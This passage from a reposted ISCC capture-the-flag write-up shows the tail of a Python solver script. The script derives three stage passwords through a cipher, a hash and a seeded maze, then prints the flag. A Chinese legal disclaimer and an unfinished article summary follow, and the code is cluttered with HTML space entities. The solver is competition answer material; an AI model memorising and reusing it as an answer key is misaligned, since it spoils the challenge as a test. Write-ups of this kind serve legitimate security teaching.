&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp;return&nbsp;False

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;x < 0 or x >= 4 or y < 0 or y >= 4:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;maze[idx(x,y)] == 0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;return&nbsp;x == 3 and y == 3

def main():
&nbsp; &nbsp; key = decode_stage1_key()
&nbsp; &nbsp; cipher = k1c7(PW1, key)
&nbsp; &nbsp; h = fnv1a32(cipher.encode())
&nbsp; &nbsp; expect_obf = h ^ MASK

&nbsp; &nbsp; g_a, g_e, x, pw2 = derive_stage2_from_h(h)
&nbsp; &nbsp; seed3 = (int(pw2) ^ ((h * 0x9E3779B1) & 0xFFFFFFFF)) & 0xFFFFFFFF
&nbsp; &nbsp; maze, pw3 = build_maze(seed3)

&nbsp; &nbsp; assert check_stage2(pw2, g_a, g_e)
&nbsp; &nbsp; assert check_stage3(pw3, maze)

&nbsp; &nbsp;&nbsp;print("stage1 key &nbsp; &nbsp; &nbsp; =", key)
&nbsp; &nbsp;&nbsp;print("stage1 cipher &nbsp; &nbsp;=", cipher)
&nbsp; &nbsp;&nbsp;print("stage1 hash h &nbsp; &nbsp;=", hex(h))
&nbsp; &nbsp;&nbsp;print("inferred EXPECT &nbsp;=", hex(expect_obf))
&nbsp; &nbsp;&nbsp;print("stage2 x &nbsp; &nbsp; &nbsp; &nbsp; =", x)
&nbsp; &nbsp;&nbsp;print("stage2 password &nbsp;=", pw2)
&nbsp; &nbsp;&nbsp;print("stage3 seed &nbsp; &nbsp; &nbsp;=", hex(seed3))
&nbsp; &nbsp;&nbsp;print("stage3 password &nbsp;=", pw3)
&nbsp; &nbsp;&nbsp;print("FLAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = ISCC{"&nbsp;+ PW1 + pw2 + pw3 +&nbsp;"}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《isCC 非武部分Wp》

isCC非武部分Wp 网络安全文章

isCC非武部分Wp

文章总结: 本文档记录ISCC竞赛非武部分两道MISC题目的解题过程。第一题通过分析网络流量中的UDP载荷发现重复密码,解压后使用LSB隐写获得flag;第二题
评论:0   参与:  0